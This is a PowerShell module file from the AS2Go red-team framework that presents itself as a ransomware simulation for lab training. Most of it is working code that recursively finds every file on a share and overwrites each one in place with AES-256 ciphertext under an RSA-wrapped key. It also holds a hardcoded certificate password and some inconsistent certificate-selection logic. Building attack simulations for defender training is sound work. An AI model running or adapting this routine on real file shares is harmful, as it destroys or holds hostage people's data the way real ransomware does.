Private/Invoke-FileEncryption.ps1

<#
.Synopsis
    AS2Go – File Encryption Simulation (Security Awareness Demo)

.Description
    This script is part of the AS2Go (Attack Simulation 2 Go) framework and is
    intended exclusively for authorized security-awareness training and red-team
    demonstrations in isolated lab environments.

    It simulates a ransomware-style file-encryption scenario by encrypting files
    on a designated network share using an X.509 RSA public-key certificate and
    AES-256-CBC symmetric encryption. The purpose is to demonstrate the impact
    of ransomware attacks so that defenders can observe, detect, and respond to
    the behaviour in a controlled, reversible manner.

    All encrypted files are first copied to $env:TEMP as a built-in safety net.
    The companion decryption script can restore all files using the private key
    of the same certificate.

.Requirements
    A valid certificate must exist (or will be created automatically) in
    Cert:\LocalMachine\My with Subject "CN={AS2Go}".
    Run the following to inspect available certificates:
        Get-ChildItem Cert:\LocalMachine\My | Format-Table Thumbprint, Subject

    To create a suitable self-signed certificate manually:
        New-SelfSignedCertificate -Subject "CN={AS2Go}" `
            -CertStoreLocation "Cert:\LocalMachine\My" `
            -KeyExportPolicy Exportable -KeySpec Signature `
            -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256

    On Windows Server 2012 – import an exported PFX instead:
        $SecurePass = ConvertTo-SecureString -String '1q' -AsPlainText -Force
        Import-PfxCertificate -FilePath C:\Users\adsa\OneDrive - mrhozi\PowerShell Module\AS2Go\2026.04.30.1114\LabSetup\Encryption `
            -CertStoreLocation Cert:\LocalMachine\My -Password $SecurePass
        Get-ChildItem Cert:\LocalMachine\My | Format-Table Thumbprint, Subject


        $PfxPath = 'C:\Users\adsa\OneDrive - mrhozi\PowerShell Module\AS2Go\2026.04.30.1114\LabSetup\Encryption\as2go.pfx'
$SecurePass = ConvertTo-SecureString -String '1q' -AsPlainText -Force

Import-PfxCertificate -FilePath $PfxPath `
    -CertStoreLocation 'Cert:\LocalMachine\My' `
    -Password $SecurePass `
    -Exportable

Get-ChildItem 'Cert:\LocalMachine\My' |
    Format-Table Thumbprint, Subject, HasPrivateKey

.Notes
    Author : AS2Go / me@mrhozi.com
    License : MIT
    Credit : Encryption/FileStream pattern based on work by Ryan Ries.
              https://msdn.microsoft.com/en-us/library/system.security.cryptography.x509certificates.x509certificate2.aspx

    WARNING : Use only in authorized lab environments. Unauthorized use is
              illegal and unethical.


#>


# Part of the AS2Go Security Awareness Demo Framework
# Simulates certificate-based file encryption on a designated lab share.

Function Invoke-FileEncryption {
    param(
        [string] $share
    )

    $CurrentFunction = Get-FunctionName
    Write-Log -Message "### Start Function $CurrentFunction ###"
    $StartRunTime = (Get-Date).ToString($Script:DateFormatLog)
    #################### main code | out- host #####################

    If ((Test-Path -Path $share -PathType Any) -eq $false) {
        Invoke-OutPut -Type Warning -Message "Target path not found - aborting simulation: '$share'"
        return
    }

    #$encoderName = "AS2Go"

    #Get-ChildItem 'Cert:\LocalMachine\my' -Recurse | Where-Object { $_.HasPrivateKey -eq $true -and $_.Subject -match $env:ComPUTERNAME } | Format-Table Thumbprint, Subject, HasPrivateKey, PsPath

    #Get-ChildItem Cert:\LocalMachine\My | Format-Table Thumbprint, Subject | Out-Host
    Write-Host "`n"

    $cert = Get-ChildItem 'Cert:\LocalMachine' -Recurse |
    Where-Object {
        $_.HasPrivateKey -and
        $_.Subject -match "^CN=$([regex]::Escape($env:COMPUTERNAME))\."
    } |
    Select-Object -First 1

    $encoder = Get-ChildItem 'Cert:\LocalMachine' -Recurse | Where-Object { $_.HasPrivateKey -eq $true -and $_.Subject -match "CN=$env:ComPUTERNAME." } | Select-Object -First 1
    $AS2GoCert = $cert.Thumbprint

    if ($AS2GoCert) {
        Write-log -message "Simulation certificate found: $($encoder.Subject ) | $($encoder.Thumbprint)"
    }
    else {
        Write-Host "No simulation certificate found – creating self-signed certificate '$encoderName'..." | Out-Host
        New-SelfSignedCertificate -Subject "CN={$encoderName}" `
            -CertStoreLocation 'Cert:\LocalMachine\My' `
            -KeyExportPolicy Exportable -KeySpec Signature `
            -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256 | Out-Null
        $encoder = Get-ChildItem Cert:\LocalMachine\My | Where-Object Subject -eq "CN={$encoderName}" | Select-Object -First 1
        $AS2GoCert = $encoder.Thumbprint
    }

    #Write-Host "`nSimulation certificate thumbprint: $AS2GoCert`n" | Out-Host

    # Load the certificate object used for key exchange
    #$Cert = Get-ChildItem "Cert:\LocalMachine\My\$AS2GoCert" | Select-Object -First 1
    #pause

    # Collect all files on the target share (simulation scope)
    $FilesToProcess = Get-ChildItem -Path $share -Recurse -Force -ErrorAction SilentlyContinue |
    Where-Object { -not $_.PSIsContainer } |
    Select-Object -ExpandProperty FullName

    # Simulate encryption for each discovered file
    foreach ($file in $FilesToProcess) {
        Start-FileEncryption -FileToEncrypt $file -Cert $Cert -ErrorAction SilentlyContinue
    }

    ######################## main code ############################
    $runtime = Get-RunTime -StartRunTime $StartRunTime
    Write-Log -Message " Run Time: $runtime [h] ###"
    Write-Log -Message "### End Function $CurrentFunction ###"
}

Function Start-FileEncryption {
    <#
    .Synopsis
        Encrypts a single file using AES-256-CBC with an RSA-encrypted session key.
        The file content is read into memory first, then the original is overwritten directly.
        A plain-text safety copy is saved to $Script:AS2GOTempDir before overwriting.
        The original can be restored using the private key of the provided certificate.
    #>

    Param(
        [Parameter(Mandatory)][System.IO.FileInfo]$FileToEncrypt,
        [Parameter(Mandatory)][System.Security.Cryptography.X509Certificates.X509Certificate2]$Cert
    )

    # Read entire file into memory so we can safely overwrite it in-place
    $plainBytes = [System.IO.File]::ReadAllBytes($FileToEncrypt.FullName)

    # Safety copy of the original to temp before overwriting
    $tempPath = [System.IO.Path]::Combine($Script:AS2GOTempDir, $FileToEncrypt.Name)
    [System.IO.File]::WriteAllBytes($tempPath, $plainBytes)

    # Set up AES-256-CBC and wrap the session key with the certificate's public RSA key
    $aes = [System.Security.Cryptography.AesManaged]::new()
    $aes.KeySize = 256
    $aes.BlockSize = 128
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC

    $keyFormatter = [System.Security.Cryptography.RSAPKCS1KeyExchangeFormatter]::new($Cert.PublicKey.Key)
    $encryptedKey = $keyFormatter.CreateKeyExchange($aes.Key, $aes.GetType())

    # File layout: [4 bytes keyLen][4 bytes ivLen][encryptedKey][iv][ciphertext]
    try {
        $writer = [System.IO.FileStream]::new($FileToEncrypt.FullName, [System.IO.FileMode]::Create)

        $writer.Write([System.BitConverter]::GetBytes($encryptedKey.Length), 0, 4)
        $writer.Write([System.BitConverter]::GetBytes($aes.IV.Length), 0, 4)
        $writer.Write($encryptedKey, 0, $encryptedKey.Length)
        $writer.Write($aes.IV, 0, $aes.IV.Length)

        $cryptoStream = [System.Security.Cryptography.CryptoStream]::new(
            $writer,
            $aes.CreateEncryptor(),
            [System.Security.Cryptography.CryptoStreamMode]::Write
        )

        $cryptoStream.Write($plainBytes, 0, $plainBytes.Length)
        $cryptoStream.FlushFinalBlock()
    }
    catch {
        Invoke-OutPut -Type Error "Encryption failed for '$($FileToEncrypt.FullName)': $_"
        return
    }
    finally {
        $cryptoStream?.Close()
        $writer?.Close()
        $aes.Dispose()
    }
    Invoke-Output -Type Bullet -Message "Encoded file" -TM $FileToEncrypt.FullName
}

Function Start-FileEncryption_Old {
    <#
    .Synopsis
        Encrypts a single file using AES-256-CBC with an RSA-encrypted session key.
        The encrypted output is written to $env:TEMP and then replaces the original.
        The original can be restored using the private key of the provided certificate.
    #>

    Param(
        [Parameter(Mandatory)][System.IO.FileInfo]$FileToEncrypt,
        [Parameter(Mandatory)][System.Security.Cryptography.X509Certificates.X509Certificate2]$Cert
    )

    # Build temp output path safely
    $tempPath = [System.IO.Path]::Combine($Script:AS2GOTempDir, $FileToEncrypt.Name)

    # Set up AES-256-CBC and wrap the session key with the certificate's public RSA key
    $aes = [System.Security.Cryptography.AesManaged]::new()
    $aes.KeySize = 256
    $aes.BlockSize = 128
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC

    $keyFormatter = [System.Security.Cryptography.RSAPKCS1KeyExchangeFormatter]::new($Cert.PublicKey.Key)
    $encryptedKey = $keyFormatter.CreateKeyExchange($aes.Key, $aes.GetType())

    # File layout: [4 bytes keyLen][4 bytes ivLen][encryptedKey][iv][ciphertext]
    try {
        $writer = [System.IO.FileStream]::new($tempPath, [System.IO.FileMode]::Create)

        $writer.Write([System.BitConverter]::GetBytes($encryptedKey.Length), 0, 4)
        $writer.Write([System.BitConverter]::GetBytes($aes.IV.Length), 0, 4)
        $writer.Write($encryptedKey, 0, $encryptedKey.Length)
        $writer.Write($aes.IV, 0, $aes.IV.Length)

        $cryptoStream = [System.Security.Cryptography.CryptoStream]::new(
            $writer,
            $aes.CreateEncryptor(),
            [System.Security.Cryptography.CryptoStreamMode]::Write
        )

        $reader = [System.IO.FileStream]::new($FileToEncrypt.FullName, [System.IO.FileMode]::Open)
        $reader.CopyTo($cryptoStream)   # replaces the manual block-read loop

        $cryptoStream.FlushFinalBlock()
    }
    catch {
        Write-Error "Encryption failed for '$($FileToEncrypt.FullName)': $_"
        return
    }
    finally {
        $reader?.Close()
        $cryptoStream?.Close()
        $writer?.Close()
        $aes.Dispose()
    }

    # Overwrite the original with the encrypted copy
    Copy-Item -Path $tempPath -Destination $FileToEncrypt.FullName -Force
}